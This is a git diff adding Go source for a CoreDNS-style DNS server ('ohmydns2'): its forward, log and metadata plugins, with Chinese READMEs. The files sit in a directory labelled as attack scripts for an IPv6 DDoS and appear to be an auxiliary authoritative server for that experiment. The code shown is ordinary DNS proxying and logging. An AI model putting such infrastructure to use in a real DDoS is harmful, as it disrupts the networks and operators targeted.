"github.com/miekg/dns" +) + +// ResponseWriter captures the client response and logs the query to dnstap. +type ResponseWriter struct { + queryTime time.Time + query *dns.Msg + dns.ResponseWriter + Dnstap +} + +// WriteMsg writes back the response to the client and THEN works on logging the request and response to dnstap. +func (w *ResponseWriter) WriteMsg(resp *dns.Msg) error { + err := w.ResponseWriter.WriteMsg(resp) + if err != nil { + return err + } + + r := new(tap.Message) + msg.SetQueryTime(r, w.queryTime) + msg.SetResponseTime(r, time.Now()) + msg.SetQueryAddress(r, w.RemoteAddr()) + + if w.IncludeRawMessage { + buf, _ := resp.Pack() + r.ResponseMessage = buf + } + + msg.SetType(r, tap.Message_CLIENT_RESPONSE) + w.TapMessage(r) + return nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/dnstap.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/dnstap.go" new file mode 100644 index 0000000..3cfdc59 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/dnstap.go" @@ -0,0 +1,64 @@ +package forward + +import ( + "net" + "ohmydns2/plugin/dnstap/msg" + "ohmydns2/plugin/pkg/proxy" + "ohmydns2/plugin/pkg/request" + "strconv" + "time" + + tap "github.com/dnstap/golang-dnstap" + "github.com/miekg/dns" +) + +// toDnstap will send the forward and received message to the dnstap plugin. +func toDnstap(f *Forward, host string, state request.Request, opts proxy.Options, reply *dns.Msg, start time.Time) { + h, p, _ := net.SplitHostPort(host) // this is preparsed and can't err here + port, _ := strconv.ParseUint(p, 10, 32) // same here + ip := net.ParseIP(h) + + var ta net.Addr = &net.UDPAddr{IP: ip, Port: int(port)} + t := state.Proto() + switch { + case opts.ForceTCP: + t = "tcp" + case opts.PreferUDP: + t = "udp" + } + + if t == "tcp" { + ta = &net.TCPAddr{IP: ip, Port: int(port)} + } + + for _, t := range f.tapPlugins { + // Query + q := new(tap.Message) + msg.SetQueryTime(q, start) + // Forwarder dnstap messages are from the perspective of the downstream server + // (upstream is the forward server) + msg.SetQueryAddress(q, state.W.RemoteAddr()) + msg.SetResponseAddress(q, ta) + if t.IncludeRawMessage { + buf, _ := state.Req.Pack() + q.QueryMessage = buf + } + msg.SetType(q, tap.Message_FORWARDER_QUERY) + t.TapMessage(q) + + // Response + if reply != nil { + r := new(tap.Message) + if t.IncludeRawMessage { + buf, _ := reply.Pack() + r.ResponseMessage = buf + } + msg.SetQueryTime(r, start) + msg.SetQueryAddress(r, state.W.RemoteAddr()) + msg.SetResponseAddress(r, ta) + msg.SetResponseTime(r, time.Now()) + msg.SetType(r, tap.Message_FORWARDER_RESPONSE) + t.TapMessage(r) + } + } +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/forward.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/forward.go" new file mode 100644 index 0000000..0355988 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/forward.go" @@ -0,0 +1,250 @@ +package forward + +import ( + "context" + "crypto/tls" + "errors" + ot "github.com/opentracing/opentracing-go" + otext "github.com/opentracing/opentracing-go/ext" + "ohmydns2/plugin" + "ohmydns2/plugin/debug" + "ohmydns2/plugin/dnstap" + "ohmydns2/plugin/metadata" + "ohmydns2/plugin/pkg/proxy" + "ohmydns2/plugin/pkg/request" + "sync/atomic" + "time" + + "github.com/miekg/dns" +) + +var defaultTimeout = 5 * time.Second + +// Forward represents a plugin instance that can proxy requests to another (DNS) server. It has a list +// of proxies each representing one upstream proxy. +type Forward struct { + concurrent int64 // atomic counters need to be first in struct for proper alignment + + proxies []*proxy.Proxy + p Policy + hcInterval time.Duration + + from string + ignored []string + + tlsConfig *tls.Config + tlsServerName string + maxfails uint32 + expire time.Duration + maxConcurrent int64 + + opts proxy.Options // also here for testing + + // ErrLimitExceeded indicates that a query was rejected because the number of concurrent queries has exceeded + // the maximum allowed (maxConcurrent) + ErrLimitExceeded error + + tapPlugins []*dnstap.Dnstap // when dnstap plugins are loaded, we use to this to send messages out. + + Next plugin.Handler +} + +// New returns a new Forward. +func New() *Forward { + f := &Forward{maxfails: 2, tlsConfig: new(tls.Config), expire: defaultExpire, p: new(random), from: ".", hcInterval: hcInterval, opts: proxy.Options{ForceTCP: false, PreferUDP: false, HCRecursionDesired: true, HCDomain: "."}} + return f +} + +// SetProxy appends p to the proxy list and starts healthchecking. +func (f *Forward) SetProxy(p *proxy.Proxy) { + f.proxies = append(f.proxies, p) + p.Start(f.hcInterval) +} + +// SetTapPlugin appends one or more dnstap plugins to the tap plugin list. +func (f *Forward) SetTapPlugin(tapPlugin *dnstap.Dnstap) { + f.tapPlugins = append(f.tapPlugins, tapPlugin) + if nextPlugin, ok := tapPlugin.Next.(*dnstap.Dnstap); ok { + f.SetTapPlugin(nextPlugin) + } +} + +// Len returns the number of configured proxies. +func (f *Forward) Len() int { return len(f.proxies) } + +// Name implements plugin.Handler. +func (f *Forward) Name() string { return "forward" } + +// ServeDNS implements plugin.Handler. +func (f *Forward) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { + state := request.Request{W: w, Req: r} + if !f.match(state) { + return plugin.NextOrFailure(f.Name(), f.Next, ctx, w, r) + } + + if f.maxConcurrent > 0 { + count := atomic.AddInt64(&(f.concurrent), 1) + defer atomic.AddInt64(&(f.concurrent), -1) + if count > f.maxConcurrent { + MaxConcurrentRejectCount.Add(1) + return dns.RcodeRefused, f.ErrLimitExceeded + } + } + + fails := 0 + var span, child ot.Span + var upstreamErr error + span = ot.SpanFromContext(ctx) + i := 0 + list := f.List() + deadline := time.Now().Add(defaultTimeout) + start := time.Now() + for time.Now().Before(deadline) { + if i >= len(list) { + // reached the end of list, reset to begin + i = 0 + fails = 0 + } + + pProxy := list[i] + i++ + if pProxy.Down(f.maxfails) { + fails++ + if fails < len(f.proxies) { + continue + } + // All upstream proxies are dead, assume healthcheck is completely broken and randomly + // select an upstream to connect to. + r := new(random) + pProxy = r.List(f.proxies)[0] + + HealthcheckBrokenCount.Add(1) + } + + if span != nil { + child = span.Tracer().StartSpan("connect", ot.ChildOf(span.Context())) + otext.PeerAddress.Set(child, pProxy.Addr()) + ctx = ot.ContextWithSpan(ctx, child) + } + + metadata.SetValueFunc(ctx, "forward/upstream", func() string { + return pProxy.Addr() + }) + + var ( + ret *dns.Msg + err error + ) + opts := f.opts + + for { + ret, err = pProxy.Connect(ctx, state, opts) + if err == ErrCachedClosed { // Remote side closed conn, can only happen with TCP. + continue + } + // Retry with TCP if truncated and prefer_udp configured. + if ret != nil && ret.Truncated && !opts.ForceTCP && opts.PreferUDP { + opts.ForceTCP = true + continue + } + break + } + + if child != nil { + child.Finish() + } + + if len(f.tapPlugins) != 0 { + toDnstap(f, pProxy.Addr(), state, opts, ret, start) + } + + upstreamErr = err + + if err != nil { + // Kick off health check to see if *our* upstream is broken. + if f.maxfails != 0 { + pProxy.Healthcheck() + } + + if fails < len(f.proxies) { + continue + } + break + } + + // Check if the reply is correct; if not return FormErr. + if !state.Match(ret) { + debug.Hexdumpf(ret, "Wrong reply for id: %d, %s %d", ret.Id, state.QName(), state.QType()) + + formerr := new(dns.Msg) + formerr.SetRcode(state.Req, dns.RcodeFormatError) + w.WriteMsg(formerr) + return 0, nil + } + + w.WriteMsg(ret) + return 0, nil + } + + if upstreamErr != nil { + return dns.RcodeServerFailure, upstreamErr + } + + return dns.RcodeServerFailure, ErrNoHealthy +} + +func (f *Forward) match(state request.Request) bool { + if !plugin.Name(f.from).Matches(state.Name()) || !f.isAllowedDomain(state.Name()) { + return false + } + + return true +} + +func (f *Forward) isAllowedDomain(name string) bool { + if dns.Name(name) == dns.Name(f.from) { + return true + } + + for _, ignore := range f.ignored { + if plugin.Name(ignore).Matches(name) { + return false + } + } + return true +} + +// ForceTCP returns if TCP is forced to be used even when the request comes in over UDP. +func (f *Forward) ForceTCP() bool { return f.opts.ForceTCP } + +// PreferUDP returns if UDP is preferred to be used even when the request comes in over TCP. +func (f *Forward) PreferUDP() bool { return f.opts.PreferUDP } + +// List returns a set of proxies to be used for this client depending on the policy in f. +func (f *Forward) List() []*proxy.Proxy { return f.p.List(f.proxies) } + +var ( + // ErrNoHealthy means no healthy proxies left. + ErrNoHealthy = errors.New("no healthy proxies") + // ErrNoForward means no forwarder defined. + ErrNoForward = errors.New("no forwarder defined") + // ErrCachedClosed means cached connection was closed by peer. + ErrCachedClosed = errors.New("cached connection was closed by peer") +) + +// Options holds various Options that can be set. +type Options struct { + // ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag + ForceTCP bool + // PreferUDP use UDP protocol for upstream DNS request. + PreferUDP bool + // HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests + HCRecursionDesired bool + // HCDomain sets domain for Proxy healthcheck requests + HCDomain string +} + +const ( + defaultExpire = 10 * time.Second + hcInterval = 500 * time.Millisecond +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/metric.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/metric.go" new file mode 100644 index 0000000..304753c --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/metric.go" @@ -0,0 +1,24 @@ +package forward + +import ( + "ohmydns2/plugin" + + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promauto" +) + +// Variables declared for monitoring. +var ( + HealthcheckBrokenCount = promauto.NewCounter(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: "forward", + Name: "healthcheck_broken_total", + Help: "Counter of the number of complete failures of the healthchecks.", + }) + MaxConcurrentRejectCount = promauto.NewCounter(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: "forward", + Name: "max_concurrent_rejects_total", + Help: "Counter of the number of queries rejected because the concurrent queries were at maximum.", + }) +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/policy.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/policy.go" new file mode 100644 index 0000000..614829a --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/policy.go" @@ -0,0 +1,68 @@ +package forward + +import ( + "ohmydns2/plugin/pkg/proxy" + "ohmydns2/plugin/pkg/rand" + "sync/atomic" + "time" +) + +// Policy defines a policy we use for selecting upstreams. +type Policy interface { + List([]*proxy.Proxy) []*proxy.Proxy + String() string +} + +// random is a policy that implements random upstream selection. +type random struct{} + +func (r *random) String() string { return "random" } + +func (r *random) List(p []*proxy.Proxy) []*proxy.Proxy { + switch len(p) { + case 1: + return p + case 2: + if rn.Int()%2 == 0 { + return []*proxy.Proxy{p[1], p[0]} // swap + } + return p + } + + perms := rn.Perm(len(p)) + rnd := make([]*proxy.Proxy, len(p)) + + for i, p1 := range perms { + rnd[i] = p[p1] + } + return rnd +} + +// roundRobin is a policy that selects hosts based on round robin ordering. +type roundRobin struct { + robin uint32 +} + +func (r *roundRobin) String() string { return "round_robin" } + +func (r *roundRobin) List(p []*proxy.Proxy) []*proxy.Proxy { + poolLen := uint32(len(p)) + i := atomic.AddUint32(&r.robin, 1) % poolLen + + robin := []*proxy.Proxy{p[i]} + robin = append(robin, p[:i]...) + robin = append(robin, p[i+1:]...) + + return robin +} + +// sequential is a policy that selects hosts based on sequential ordering. +type sequential struct{} + +func (r *sequential) String() string { return "sequential" } + +func (r *sequential) List(p []*proxy.Proxy) []*proxy.Proxy { + return p +} + +var rn = rand.New(time.Now().UnixNano()) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/setup.go" new file mode 100644 index 0000000..9361e6a --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/setup.go" @@ -0,0 +1,291 @@ +package forward + +import ( + "crypto/tls" + "errors" + "fmt" + "ohmydns2/core/dnsserver" + "ohmydns2/plugin" + "ohmydns2/plugin/dnstap" + "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/parse" + "ohmydns2/plugin/pkg/proxy" + pkgtls "ohmydns2/plugin/pkg/tls" + "ohmydns2/plugin/pkg/transport" + "strconv" + "time" + + "github.com/coredns/caddy" + "github.com/miekg/dns" +) + +func init() { plugin.Register("forward", setup) } + +func setup(c *caddy.Controller) error { + fs, err := parseForward(c) + if err != nil { + return plugin.Error("forward", err) + } + for i := range fs { + f := fs[i] + if f.Len() > max { + return plugin.Error("forward", fmt.Errorf("more than %d TOs configured: %d", max, f.Len())) + } + + if i == len(fs)-1 { + // last forward: point next to next plugin + dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { + f.Next = next + return f + }) + } else { + // middle forward: point next to next forward + nextForward := fs[i+1] + dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler { + f.Next = nextForward + return f + }) + } + + c.OnStartup(func() error { + return f.OnStartup() + }) + c.OnStartup(func() error { + if taph := dnsserver.GetConfig(c).Handler("dnstap"); taph != nil { + f.SetTapPlugin(taph.(*dnstap.Dnstap)) + } + return nil + }) + + c.OnShutdown(func() error { + return f.OnShutdown() + }) + } + + return nil +} + +// OnStartup starts a goroutines for all proxies. +func (f *Forward) OnStartup() (err error) { + for _, p := range f.proxies { + p.Start(f.hcInterval) + } + return nil +} + +// OnShutdown stops all configured proxies. +func (f *Forward) OnShutdown() error { + for _, p := range f.proxies { + p.Stop() + } + return nil +} + +func parseForward(c *caddy.Controller) ([]*Forward, error) { + var fs = []*Forward{} + for c.Next() { + f, err := parseStanza(c) + if err != nil { + return nil, err + } + fs = append(fs, f) + } + return fs, nil +} + +func parseStanza(c *caddy.Controller) (*Forward, error) { + f := New() + + if !c.Args(&f.from) { + return f, c.ArgErr() + } + origFrom := f.from + zones := plugin.Host(f.from).NormalizeExact() + if len(zones) == 0 { + return f, fmt.Errorf("unable to normalize '%s'", f.from) + } + f.from = zones[0] // there can only be one here, won't work with non-octet reverse + + if len(zones) > 1 { + log.Warningf("Unsupported CIDR notation: '%s' expands to multiple zones. Using only '%s'.", origFrom, f.from) + } + + to := c.RemainingArgs() + if len(to) == 0 { + return f, c.ArgErr() + } + + toHosts, err := parse.HostPortOrFile(to...) + if err != nil { + return f, err + } + + transports := make([]string, len(toHosts)) + allowedTrans := map[string]bool{"dns": true, "tls": true} + for i, host := range toHosts { + trans, h := parse.Transport(host) + + if !allowedTrans[trans] { + return f, fmt.Errorf("'%s' is not supported as a destination protocol in forward: %s", trans, host) + } + p := proxy.NewProxy(h, trans) + f.proxies = append(f.proxies, p) + transports[i] = trans + } + + for c.NextBlock() { + if err := parseBlock(c, f); err != nil { + return f, err + } + } + + if f.tlsServerName != "" { + f.tlsConfig.ServerName = f.tlsServerName + } + + // Initialize ClientSessionCache in tls.Config. This may speed up a TLS handshake + // in upcoming connections to the same TLS server. + f.tlsConfig.ClientSessionCache = tls.NewLRUClientSessionCache(len(f.proxies)) + + for i := range f.proxies { + // Only set this for proxies that need it. + if transports[i] == transport.TLS { + f.proxies[i].SetTLSConfig(f.tlsConfig) + } + f.proxies[i].SetExpire(f.expire) + f.proxies[i].GetHealthchecker().SetRecursionDesired(f.opts.HCRecursionDesired) + // when TLS is used, checks are set to tcp-tls + if f.opts.ForceTCP && transports[i] != transport.TLS { + f.proxies[i].GetHealthchecker().SetTCPTransport() + } + f.proxies[i].GetHealthchecker().SetDomain(f.opts.HCDomain) + } + + return f, nil +} + +func parseBlock(c *caddy.Controller, f *Forward) error { + switch c.Val() { + case "except": + ignore := c.RemainingArgs() + if len(ignore) == 0 { + return c.ArgErr() + } + for i := 0; i < len(ignore); i++ { + f.ignored = append(f.ignored, plugin.Host(ignore[i]).NormalizeExact()...) + } + case "max_fails": + if !c.NextArg() { + return c.ArgErr() + } + n, err := strconv.ParseUint(c.Val(), 10, 32) + if err != nil { + return err + } + f.maxfails = uint32(n) + case "health_check": + if !c.NextArg() { + return c.ArgErr() + } + dur, err := time.ParseDuration(c.Val()) + if err != nil { + return err + } + if dur < 0 { + return fmt.Errorf("health_check can't be negative: %d", dur) + } + f.hcInterval = dur + f.opts.HCDomain = "." + + for c.NextArg() { + switch hcOpts := c.Val(); hcOpts { + case "no_rec": + f.opts.HCRecursionDesired = false + case "domain": + if !c.NextArg() { + return c.ArgErr() + } + hcDomain := c.Val() + if _, ok := dns.IsDomainName(hcDomain); !ok { + return fmt.Errorf("health_check: invalid domain name %s", hcDomain) + } + f.opts.HCDomain = plugin.Name(hcDomain).Normalize() + default: + return fmt.Errorf("health_check: unknown option %s", hcOpts) + } + } + + case "force_tcp": + if c.NextArg() { + return c.ArgErr() + } + f.opts.ForceTCP = true + case "prefer_udp": + if c.NextArg() { + return c.ArgErr() + } + f.opts.PreferUDP = true + case "tls": + args := c.RemainingArgs() + if len(args) > 3 { + return c.ArgErr() + } + + tlsConfig, err := pkgtls.NewTLSConfigFromArgs(args...) + if err != nil { + return err + } + f.tlsConfig = tlsConfig + case "tls_servername": + if !c.NextArg() { + return c.ArgErr() + } + f.tlsServerName = c.Val() + case "expire": + if !c.NextArg() { + return c.ArgErr() + } + dur, err := time.ParseDuration(c.Val()) + if err != nil { + return err + } + if dur < 0 { + return fmt.Errorf("expire can't be negative: %s", dur) + } + f.expire = dur + case "policy": + if !c.NextArg() { + return c.ArgErr() + } + switch x := c.Val(); x { + case "random": + f.p = &random{} + case "round_robin": + f.p = &roundRobin{} + case "sequential": + f.p = &sequential{} + default: + return c.Errf("unknown policy '%s'", x) + } + case "max_concurrent": + if !c.NextArg() { + return c.ArgErr() + } + n, err := strconv.Atoi(c.Val()) + if err != nil { + return err + } + if n < 0 { + return fmt.Errorf("max_concurrent can't be negative: %d", n) + } + f.ErrLimitExceeded = errors.New("concurrent queries exceeded maximum " + c.Val()) + f.maxConcurrent = int64(n) + + default: + return c.Errf("unknown property '%s'", c.Val()) + } + + return nil +} + +const max = 15 // Maximum number of upstreams. diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/README.md" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/README.md" new file mode 100644 index 0000000..b2ae9af --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/README.md" @@ -0,0 +1,4 @@ +# log +*log--启用查询记录到标准输出* +## 简介 +通过使用*log*,可以将所有查询(以及回复的部分)转存到标准输出上。并可通过一些选项稍微调整输出。请注意,对于繁忙的服务器,日志记录会导致性能下降。启用或禁用日志插件只会影响查询日志记录,任何其他来自 OhmyDNS 的日志记录都会显示出来。 \ No newline at end of file diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/log.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/log.go" new file mode 100644 index 0000000..81e5a3b --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/log.go" @@ -0,0 +1,72 @@ +package log + +import ( + "context" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/dnstest" + olog "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/replacer" + "ohmydns2/plugin/pkg/request" + "ohmydns2/plugin/pkg/response" + "time" + + "github.com/miekg/dns" +) + +// Logger is a basic request logging plugin. +type Logger struct { + Next plugin.Handler + Rules []Rule + + repl replacer.Replacer +} + +// ServeDNS implements the plugin.Handler interface. +func (l Logger) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { + state := request.Request{W: w, Req: r} + name := state.Name() + for _, rule := range l.Rules { + if !plugin.Name(rule.NameScope).Matches(name) { + continue + } + + rrw := dnstest.NewRecorder(w) + rc, err := plugin.NextOrFailure(l.Name(), l.Next, ctx, rrw, r) + + // If we don't set up a class in config, the default "all" will be added + // and we shouldn't have an empty rule.Class. + _, ok := rule.Class[response.All] + var ok1 bool + if !ok { + tpe, _ := response.Typify(rrw.Msg, time.Now().UTC()) + class := response.Classify(tpe) + _, ok1 = rule.Class[class] + } + if ok || ok1 { + logstr := l.repl.Replace(ctx, state, rrw, rule.Format) + olog.Info(logstr) + } + + return rc, err + } + return plugin.NextOrFailure(l.Name(), l.Next, ctx, w, r) +} + +// Name implements the Handler interface. +func (l Logger) Name() string { return "log" } + +// Rule configures the logging plugin. +type Rule struct { + NameScope string + Class map[response.Class]struct{} + Format string +} + +const ( + // CommonLogFormat is the common log format. + CommonLogFormat = `{remote}:{port} ` + replacer.EmptyValue + ` {>id} "{type} {class} {name} {proto} {size} {>do} {>bufsize}" {rcode} {>rflags} {rsize} {duration}` + // CombinedLogFormat is the combined log format. + CombinedLogFormat = CommonLogFormat + ` "{>opcode}"` + // DefaultLogFormat is the default log format. + DefaultLogFormat = CommonLogFormat +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/setup.go" new file mode 100644 index 0000000..49a9fde --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/setup.go" @@ -0,0 +1,101 @@ +package log + +import ( + "ohmydns2/core/dnsserver" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/replacer" + "ohmydns2/plugin/pkg/response" + "strings" + + "github.com/coredns/caddy" + "github.com/miekg/dns" +) + +func init() { plugin.Register("log", setup) } + +func setup(c *caddy.Controller) error { + rules, err := logParse(c) + if err != nil { + return plugin.Error("log", err) + } + + dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { + return Logger{Next: next, Rules: rules, repl: replacer.New()} + }) + + return nil +} + +func logParse(c *caddy.Controller) ([]Rule, error) { + var rules []Rule + + for c.Next() { + args := c.RemainingArgs() + length := len(rules) + + switch len(args) { + case 0: + // Nothing specified; use defaults + rules = append(rules, Rule{ + NameScope: ".", + Format: DefaultLogFormat, + Class: make(map[response.Class]struct{}), + }) + case 1: + rules = append(rules, Rule{ + NameScope: dns.Fqdn(args[0]), + Format: DefaultLogFormat, + Class: make(map[response.Class]struct{}), + }) + default: + // Name scopes, and maybe a format specified + format := DefaultLogFormat + + if strings.Contains(args[len(args)-1], "{") { + format = args[len(args)-1] + format = strings.Replace(format, "{common}", CommonLogFormat, -1) + format = strings.Replace(format, "{combined}", CombinedLogFormat, -1) + args = args[:len(args)-1] + } + + for _, str := range args { + rules = append(rules, Rule{ + NameScope: dns.Fqdn(str), + Format: format, + Class: make(map[response.Class]struct{}), + }) + } + } + + // Class refinements in an extra block. + classes := make(map[response.Class]struct{}) + for c.NextBlock() { + switch c.Val() { + // class followed by combinations of all, denial, error and success. + case "class": + classesArgs := c.RemainingArgs() + if len(classesArgs) == 0 { + return nil, c.ArgErr() + } + for _, c := range classesArgs { + cls, err := response.ClassFromString(c) + if err != nil { + return nil, err + } + classes[cls] = struct{}{} + } + default: + return nil, c.ArgErr() + } + } + if len(classes) == 0 { + classes[response.All] = struct{}{} + } + + for i := len(rules) - 1; i >= length; i-- { + rules[i].Class = classes + } + } + + return rules, nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/README.md" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/README.md" new file mode 100644 index 0000000..325a3f2 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/README.md" @@ -0,0 +1,43 @@ +# metadata +## 简介 +metadata包提供了一个 API,允许插件将元数据添加到上下文中。每个元数据都存储在格式为`/` 的标签下。每个元数据作为 Func 返回。调用 Func 时返回元数据。如果某个 Func 执行时间很长,就需要自行提供某种形式的缓存。在处理一个查询时的元数据应该保持不变。 +## 用例 +Basic example: +```go +// +// Implement the Provider interface for a plugin p: +// +func (p P) Metadata(ctx context.Context, state request.Request) context.Context { + metadata.SetValueFunc(ctx, "test/something", func() string { + return "myvalue" + }) + return ctx + } +``` +Basic example with caching: +```go +func (p P) Metadata(ctx context.Context, state request.Request) context.Context { + cached := "" + f := func() string { + if cached != "" { + return cached + } + cached = expensiveFunc() + return cached + } + metadata.SetValueFunc(ctx, "test/something", f) + return ctx + } + +``` + + +If you need access to this metadata from another plugin: +```go + + // ... + valueFunc := metadata.ValueFunc(ctx, "test/something") + value := valueFunc() + // use 'value' + +``` \ No newline at end of file diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/metadata.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/metadata.go" new file mode 100644 index 0000000..cafe4e7 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/metadata.go" @@ -0,0 +1,42 @@ +package metadata + +import ( + "context" + "github.com/miekg/dns" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/request" +) + +// Metadata implements collecting metadata information from all plugins that +// implement the Provider interface. +type Metadata struct { + Zones []string + Providers []Provider + Next plugin.Handler +} + +// Name implements the Handler interface. +func (m *Metadata) Name() string { return "metadata" } + +// ContextWithMetadata is exported for use by provider tests +func ContextWithMetadata(ctx context.Context) context.Context { + return context.WithValue(ctx, key{}, md{}) +} + +// ServeDNS implements the plugin.Handler interface. +func (m *Metadata) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { + rcode, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, w, r) + return rcode, err +} + +// Collect will retrieve metadata functions from each metadata provider and update the context +func (m *Metadata) Collect(ctx context.Context, state request.Request) context.Context { + ctx = ContextWithMetadata(ctx) + if plugin.Zones(m.Zones).Matches(state.Name()) != "" { + // Go through all Providers and collect metadata. + for _, p := range m.Providers { + ctx = p.Metadata(ctx, state) + } + } + return ctx +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/provider.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/provider.go" new file mode 100644 index 0000000..490dfe1 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/provider.go" @@ -0,0 +1,89 @@ +package metadata + +import ( + "context" + "ohmydns2/plugin/pkg/request" + "strings" +) + +// Provider interface needs to be implemented by each plugin willing to provide +// metadata information for other plugins. +type Provider interface { + // Metadata adds metadata to the context and returns a (potentially) new context. + // Note: this method should work quickly, because it is called for every request + // from the metadata plugin. + Metadata(ctx context.Context, state request.Request) context.Context +} + +// Func is the type of function in the metadata, when called they return the value of the label. +type Func func() string + +// IsLabel checks that the provided name is a valid label name, i.e. two or more words separated by a slash. +func IsLabel(label string) bool { + p := strings.Index(label, "/") + if p <= 0 || p >= len(label)-1 { + // cannot accept namespace empty nor label empty + return false + } + return true +} + +// Labels returns all metadata keys stored in the context. These label names should be named +// as: plugin/NAME, where NAME is something descriptive. +func Labels(ctx context.Context) []string { + if metadata := ctx.Value(key{}); metadata != nil { + if m, ok := metadata.(md); ok { + return keys(m) + } + } + return nil +} + +// ValueFuncs returns the map[string]Func from the context, or nil if it does not exist. +func ValueFuncs(ctx context.Context) map[string]Func { + if metadata := ctx.Value(key{}); metadata != nil { + if m, ok := metadata.(md); ok { + return m + } + } + return nil +} + +// ValueFunc returns the value function of label. If none can be found nil is returned. Calling the +// function returns the value of the label. +func ValueFunc(ctx context.Context, label string) Func { + if metadata := ctx.Value(key{}); metadata != nil { + if m, ok := metadata.(md); ok { + return m[label] + } + } + return nil +} + +// SetValueFunc set the metadata label to the value function. If no metadata can be found this is a noop and +// 